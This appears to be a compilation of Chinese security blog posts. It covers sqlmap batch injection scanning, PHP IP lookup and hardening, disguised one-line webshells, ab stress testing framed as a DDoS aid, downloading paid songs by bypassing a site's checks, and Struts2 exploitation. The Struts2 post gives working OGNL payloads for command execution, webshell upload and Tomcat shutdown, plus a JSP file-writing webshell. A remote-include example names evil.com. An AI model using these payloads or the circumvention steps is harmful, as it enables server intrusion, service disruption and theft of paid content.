KaLi burpsuite request 导出日志 sqlmap批量扫注入点

在网上公开提供的方法,这里完善下细节和在KaLi下使用sqlmap的详细方法。
首先在burpsuite里面设置下日志,如下:
Options->Misc->Logging->Proxy:Requests 设置下保存路径 XXX.txt
然后通过burpsuite嗅探的raw都会保存在XXX.txt
开始在KaLi下使用,一直报错?the specified list of targets does not exist,不晓得那里发生了问题,找不到目标主机。网上在win和bt5下使用sqlmap都是用python sqlmap.py方式启动,而在KaLi下是用sqlmap启动。怀疑是版本问题,换了burpsuite其他版本,发现日志的格式都是一样的,排除版本的问题了,其次就是日志里面有乱码,以为是乱码问题,找了3个不带乱码的请求也是无效的,看了下谷歌了一下,找到了原因,要把扫描的文件放入sqlmap目录下才可以。
把XXX.txt放入/usr/share/sqlmap/目录下就可以用了。
python??sqlmap.py -l 文件名 –batch -smart
batch:自动选yes。
smart:启发式快速判断,节约时间。
最后能注入的url会保存到out文件夹下
Expection:log文件中如果有sqlmap无法读取的字符(ascii码之外的字符)会读取失败。
输出路径:
[23:22:43] [INFO] you can find results of scanning in multiple targets mode inside the CSV file ‘/usr/share/sqlmap/output/results-01292016_1122pm.csv’
如果request多的话,防止cookies失效,可以添加 –proxy http://127.0.0.1:8080 使用本地代理会更新cookies的标识;
“””
you provided a HTTP Cookie header value. The target URL provided its own cookies
within the HTTP Set-Cookie header which intersect with yours. Do you want to me
rge them in futher requests? [Y/n] Y

“””

php获取客户端IP,国家,省份,地区,ISP等信息

php获取客户端IP,国家,省份,地区,ISP等信息,首先获取获取客户端的公网ip,开始本地搭建的环境,本地访问获取到的是127.0.0.1,然后用138的接口可以实现curl模拟客户端访问 http://city.ip138.com/ip2city.asp 可看到真实客户端的ip。

<?php
header('Content-Type:text/html;Charset=utf-8');

//获取ip方法 -- 如果获取不精准可以用第三方获取 http://city.ip138.com/ip2city.asp
function GetIP(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknow";
return($ip);
}
//新浪接口,获取ip所在国家,地域。
function GetIpLookup($ip = ''){
if(empty($ip)){
$ip = GetIp();
}
$res = @file_get_contents('http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&ip=' . $ip);
if(empty($res)){ return false; }
$jsonMatches = array();
preg_match('#\{.+?\}#', $res, $jsonMatches);
if(!isset($jsonMatches[0])){ return false; }
$json = json_decode($jsonMatches[0], true);
if(isset($json['ret']) && $json['ret'] == 1){
$json['ip'] = $ip;
unset($json['ret']);
}else{
return false;
}
return $json;
}

$ipInfos = GetIpLookup(); //IP地址
print_r($ipInfos);  //打印数组

//测试url: http://0535code.com/ip.php

读《重燃你的php之火》总结笔记

1.文件包含变量导致远程文件包含
include (“$cfg_dir/site_${site}.php”); //把$cfg_dir 这个路径里的site_${site}.php 包含进来
可以把变量$site 指定远程文件http://evil.com/cmd.gif 去调用,也可以是本地的一个文件
解决方案:
php.ini 里的allow_url_fopen 设为off 禁止远程使用文件
2.文件目录列表
目录列表,下载重要文件
解决方案:
open_base_dir 禁止使用目录列表,或每个目录下都存放一个index.html,推荐第一种解决方案
3.文件操作函数导致源代码泄漏(fopen(),file(),readfile(),openfile())
$articlearray=openfile(“$dbpath/$fid/$tid.php”); //打开$dbpath/$fid 这个路径的$tid.php 文件
$topic_detail=explode(“|”,$articlearray[0]); //用分割符|读出帖子的内容
构造/read.php?fid=123&tid=../index 可以查看上级index.php源代码
fwrite() 写入一句话木马
unlink() 传入任意文件,删除任意文件
解决方案:
过滤特殊字符
4.任意代码执行
eval(),preg_replace(),exec(),system(),popen(),proc_open(),proc_close()
提交可执行代码和系统命令
解决方案:
使用escapeshellarg()或escapeshellcmd()函数过滤
5.特殊字符过滤
../ win路径隐患
..\ win和linux路径隐患
< > 跨站脚本攻击xxs
‘?? 执行系统命令
; | 截断程序流程
6.php的一些安全配置参数

safe_mode_gid = On? //开启安全模式,会禁止系统命令执行函数
register_globals = Off //关闭全局变量,防止变量覆盖漏洞
php_admin_value open_basedir /usr/local/apache/htdocs //限制php文件操作目录为网站根目录
allow_url_fopen = Off //关闭远程文件打开功能,防止include(”)文件包含一句话木马

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
#防止读取任意文件和执行任意命令,限制上传目录权限
open_basedir = “/usr/local/apache/htdocs/” #限制允许操作的父目录
#命令执行漏洞可以用escapeshellcmd()函数过滤传入的命令参数,后再使用,杜绝命令执行漏洞
</Directory>

error_reporting = E_ALL & ~E_NOTICE //屏蔽警告信息
display_errors = On //屏蔽错误信息
log_errors = On? //开启错误日志
error_log = /usr/local/apache/logs/php_error.log //错误日志存放目录
disable_functions = phpinfo, get_cfg_var //禁用一些危险函数可以放在这里
 

PHP判断代理HTTP_X_FORWARDED_FOR

除了正常访问网站以外,还有一种代理模式访问,burpsuite、fiddler等都是通过代理做中间人进行嗅探分析找漏洞,利用漏洞的,前段时间想判断下禁止代理访问,使用HTTP_X_FORWARDED_FOR做判断,通过各种沟通,觉得此方法不可行,没有实际落实,于是自己用php取了下参数,翻阅了下资料,通过分析判断HTTP_X_FORWARDED_FOR是否是使用代理的不靠谱,可以把代理信息去掉再发送,burpsuite就是这样做的,用HTTP_X_FORWARDED_FOR根本判断不出是代理访问的,在发送之前会把相关信息去掉。测试下 fiddle 也是不可以的,通过HTTP_X_FORWARDED_FOR控制的意义就不大了。测试代码如下:

<?
if(!empty($_SERVER['HTTP_VIA']))    //判断使用了代理
{
if(!isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
echo "1:普通匿名代理服务器,代理IP地址为". $_SERVER['REMOTE_ADDR'];
}
else
{
echo "2:透明代理服务器代理,IP地址为".$_SERVER['REMOTE_ADDR'];
echo "2:透明代理服务器,真实ip地址为".$_SERVER['HTTP_X_FORWARDED_FOR'];
}
}
else         //否则判断没有使用代理
{
echo "3:没有代理或者是高匿名代理,真实ip地址为".$_SERVER['REMOTE_ADDR'];
}

之后和新公司同事商议了下解决方案,在传输的过程中增加token,传输的内容全部为密文,实现的原理也类似https。

php变形一句话木马和加密原理

php比较流行的一句话木马很多,甚至老外研究的,一般人都看不懂,今天看到某站中了chr一句话木马,一看就不正常具体就不发代码了,总结下asp,php的chr类型变形一句话木马和加密。
<%eval request(chr(65))%>
这句话用菜刀链接密码就是A,菜刀就是post请求A参数提交任意代码。用burpsuite可以看到菜刀的所有操作,自己也可以把菜刀的代码down下来,自己写一个去。不过没啥意义,还不如直接反编译为自己了,可以装装感觉很厉害的样子。chr里面的数字就是对应的ASCII码,附一份ASCII码表,也可以自己写个工具,翻译出来。

chr(9) tab空格
chr(10) 换行
chr(13) 回车
chr(13)&chr(10) 回车换行
chr(32) 空格符
chr(34) 双引号
chr(39) 单引号
chr(33) !
chr(34) ”
chr(35) #
chr(36) $
chr(37) %
chr(38) &
chr(39) ‘
chr(40) (
chr(41) )
chr(42) *
chr(43) +
chr(44) ,
chr(45) –
chr(46) .
chr(47) /
chr(48) 0
chr(49) 1
chr(50) 2
chr(51) 3
chr(52) 4
chr(53) 5
chr(54) 6
chr(55) 7
chr(56) 8
chr(57) 9
chr(58)
chr(59) ;
chr(60) <
chr(61) =
chr(62) >
chr(63) ?
chr(64) @
chr(65) A
chr(66) B
chr(67) c
chr(68) D
chr(69) E
chr(70) F
chr(71) G
chr(72) H
chr(73) I
chr(74) J
chr(75) K
chr(76) L
chr(77) M
chr(78) N
chr(79) O
chr(80) P
chr(81) Q
chr(82) R
chr(83) S
chr(84) T
chr(85) U
chr(86) V
chr(87) W
chr(88) X
chr(89) Y
chr(90) Z
chr(91) [
chr(92) \
chr(93) ]
chr(94) ^
chr(95) _
chr(96) `
chr(97) a
chr(98) b
chr(99) c
chr(100) d
chr(101) e
chr(102) f
chr(103) g
chr(104) h
chr(105) i
chr(106) j
chr(107) k
chr(108) l
chr(109) m
chr(110) n
chr(111) o
chr(112) p
chr(113) q
chr(114) r
chr(115) s
chr(116) t
chr(117) u
chr(118) v
chr(119) w
chr(120) x
chr(121) y
chr(122) z
chr(123) {
chr(124) |
chr(125) }
还有比这个复杂的密码对应ASCII码表可翻译出来。

然后好多一句话木马看起来不是这样,是用base64做了加密处理,然后在文件中解密,这种加密方式翻转一下就ok。

linux下ab压力测试命令

前几天发现一个linux下的ab压力测试命令,可以用来找到ddos利用点后进一步实施ddos攻击,参数如下:

-n 要执行的请求数
-c 1个请求的并发数
-t? 最大等待响应时间
-b TCP发送/接收缓冲区的大小,以字节为单位
-p postfile??? 包含数据的文件
-u putfile????? 包含数据的文件
-T content-type Content-type header for POSTing, eg.#发送类型头部信息
‘application/x-www-form-urlencoded’
Default is ‘text/plain’
-v verbosity?? 打印故障排除信息
-w??????????? 以HTML表打印出结果
-i????????????? 用头代替
-C attribute??? Add cookie, eg. ‘Apache=1234. (repeatable)#添加Cookies
-H attribute??? Add Arbitrary header line, eg. ‘Accept-Encoding: gzip’
Inserted after all normal header lines. (repeatable)
-A attribute??? Add Basic WWW Authentication, the attributes
are a colon separated username and password.
-P attribute??? Add Basic Proxy Authentication, the attributes
are a colon separated username and password.
-X proxy:port?? Proxyserver and port number to use
-V????????????? Print version number and exit
-k????????????? Use HTTP KeepAlive feature
-d????????????? Do not show percentiles served table.
-S????????????? Do not show confidence estimators and warnings.
-g filename???? Output collected data to gnuplot format file.
-e filename???? Output CSV file with percentages served
-r????????????? Don’t exit on socket receive errors.
-h????????????? Display usage information (this message)
-Z ciphersuite? Specify SSL/TLS cipher suite (See openssl ciphers)
-f protocol???? Specify SSL/TLS protocol (SSL3, TLS1, or ALL)

常用格式记录下:
get请求命令:ab -n 1000 -c 1000 -k http://localhost/index.do?get=ab
post请求命令:ab?-n 1000?-c 1000?-k?-p?postfile.ab?http://localhost/index.do #postfile.ab中为json数据

绕过代理判断,下载ik123.com歌曲

代理截断工具有burpsuite、fiddler都是比较知名的,功能强大,此类工具有一个特性,就是必须设置代理服务器和端口才可以,burpsuite需要手工设置,fiddler是自动设置8080端口,自动设置比较方便,但是如果8080端口用了,会存在问题也要手工配置代理信息,现在很多移动端的app和web网站都对代理做了判断,通过获取客户端的HTTP_X_FORWARDED_FOR信息可以晓得是否是本地代理访问的。判断使用本地代理则忽略动态请求,从而增加了安全性,因为正常访问是不会配置本地代理的,几乎不会影响用户体验,火车站订票网站也用了此措施,不然更多的问题都暴露出来了,做了也不代表就安全了。
怎么绕过服务端判断了客户端是否使用本地代理访问呢,有两种思路,一种是通过底层截获本地数据包,再重新发数据包,如果这个会话存在Token令牌,又会增加嗅探的难度,只是在外面加了一层防火墙,增加难度,如果增加了Token,则需要通过CURL抓到网页的Token隐藏域再次提交,如果没有的话,直接记录下RAW requests,修改RAW Request再次发请求就好了。这种方式完全可以实现的,只是复杂一些,咨询一个资深逆向分析的朋友,通过驱动层可以直接截断实现不用代理直接改数据包发送请求,也可以做那些代理截断一样的篡改提交,这是大神级别玩的了,以后这类工具肯定会有大神去搞的。我说的这种方式是正常的获取请求,提交请求。
以前一直想下载ik123.com里面的dj舞曲,超好听,无奈要花钱办会员才可以下载,因为在线可以听,就在线听了,想下载下来放到手机上去,之前通过js请求,看到发送到一个swf扩展名的flash文件去处理的,下载了没用,不是真实的歌曲,今天忽然想起了,用burpsuite代理监听,html,js,css,div都可以正常响应,就是js请求的资源无法正常返回,这样嗅探不到资源了,服务端肯定也是判断了本地代理访问了。这类工具的嗅探分析就失效了。然后就用火狐浏览器,打开Firebug,换首歌看到只发出1个请求,就是dj歌曲的请求了,返回的信息为:
此 URL 的资源不是文本: http://fv.ik123.com/Dj_www.ik123.com/2010/201208%2F1.%C9%EE%B8%DBdj%B4%F2%D4%EC%D5%E4%B2%D8%BE%AB%C6%B7%B3%B5%D4%D8dj%B4%AE%C9%D5.ik?vsid=982e248b918ece004598d5247191bec3&name=www.ik123.com
直接访问这个url会下载到一个ik扩展名的文件,28.5M,文件名为201208%2F1.%C9%EE%B8%DBdj%B4%F2%D4%EC%D5%E4%B2%D8%BE%AB%C6%B7%B3%B5%D4%D8dj%B4%AE%C9%D5.IK 看这个文件名就好像是在缓存里面的歌曲文件了,一般在线歌曲都是采用的WMA扩展名的,体积小,不是高清音质的,然后把IK扩展名改为WMA本地就可以直接打开播放了。曾经一直想下载,请教各种人,各种技术分析,最后都没下载下来,看来搞东东没有难不难,关键是思路对了,事半功倍。

HTTP响应状态码大全

100:继续 客户端应当继续发送请求。客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应
101: 转换协议 在发送完这个响应最后的空行后,服务器将会切换到在 Upgrade 消息头中定义的那些协议
102:继续处理 由 WebDAV(RFC 2518)扩展的状态码,代表处理将被继续执行
200:请求成功
201:请求完成,结果是创建了新资源
202:请求被接受,但处理尚未完成
204:服务器端已经实现了请求,但是没有返回新的信息
300:该状态码不被 HTTP/1.0 的应用程序直接使用, 只是作为 3XX 类型回应的默认解释
301:请求到的资源都会分配一个永久的 URL,这样就可以在将来通过该 URL 来访问此资源
302:请求到的资源在一个不同的 URL 处临时保存
304:请求的资源未更新
400:非法请求
401:未授权
403:禁止
404:没有找到页面
500:服务器内部错误 服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理
501:服务器无法识别 服务器不支持当前请求所需要的某个功能
502:错误网关 作为网关或者代理工作的服务器尝试执行请求时,从上游服务器接收到无效的响应
503:服务出错 由于临时的**服务器**维护或者过载,服务器当前无法处理请求。这个状况是临时的,并且将在一段时间以后恢复

Struts2漏洞手工利用代码分析

Struts2漏洞很多工具都可以查到,尝试过有些工具不能完全利用,网上查了下是由于版本太低,没办法了需要手工分析,又没写过java代码,比较烦java,网上搜集各种资料弄明白漏洞原理及利用方式了,做个笔记分析下。
测试工具:鬼哥struts2测试工具 (检测成功)
利用工具:Struts2.jar (利用失败)

利用代码如下
命令执行

%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

解码后:(exec是目录执行 whomi)

#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()

GetShell

%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/%22%29%29.append%28@java.io.File@separator%29.append%28%23a.getParameter%28%22filename%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22body%22%29.getBytes%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

解码后:(Path是写入路径,filename是写入文件名,先运行第一个找到web路径,t是一句话木马密码)

#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append(#a.getParameter("filename")).toString()),#b.write(#a.getParameter("body").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()

Struts2漏洞一句话木马专用:

<%if(request.getParameter("filename")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("filename"))).write(request.getParameter("body").getBytes());%>

//代码的意思是如果filename参数不为空,则创建filename文件,filename是路径,body是内容,以二进制方式写入文件。
分析命令执行和GetShell利用代码,可晓得:

#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),

//构造需要转码下才能利用,后面的可以自由构造利用代码,构造格式 bank.action?a=${struts2利用函数,传参}
例如:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

编码后如下(java.lang.Runtime.getRuntime().exit(1);)实现关闭Tomcat

%28%27\u0023_memberAccess[\%27allowStaticMethodAccess\%27]%27%29%28meh%29=true&%28aaa%29%28%28%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003d\u0023foo%27%29%28\u0023foo\u003dnew%20java.lang.Boolean%28%22false%22%29%29%29&%28asdf%29%28%28%27\u0023rt.exit%281%29%27%29%28\u0023rt\u003d@java.lang.Runtime@getRuntime%28%29%29%29=1

浏览器URL转码、解码与服务端的通讯

浏览器URL转码与服务端交互原理,在百度搜索“你妹”,是GET提交的转码后的wd参数(%E4%BD%A0%E5%A6%B9),是不是传到服务器需要再次转码呢,如果这样的话,sql注入,直接过滤关键词是行不通的,需要转义后再过滤关键词。写了一个get提交和post请求并且打印,用不同浏览器做了测试。

测试代码如下:

<form method="get" action="test.php">
<input name="test" value="">
<input type="submit" value="GET submit">
</form>
</div>
<?
echo $_GET['test'];
?>
<form method="post" action="test.php">
<input name="body" value="">
<input type="submit" value="POST submit">
</form>
</div>
<?php
echo $_POST["body"];
?>

通过GET和POST提交,用IE浏览器,发现URL被转义,打印出变量确是输入的数据;
通过GET和POST提交,用火狐浏览器,发现URL没转义,打印变量是输入的数据。
通过以上证明是浏览器处理的,HTTP协议处理的,翻阅相关资料是因为是不同浏览器制定的不同的规范,底层是Socket通讯,自动进行了转码和解码。资料的网址是:http://www.cnblogs.com/sunzhenchao/p/3904886.html 资料写的比较专业。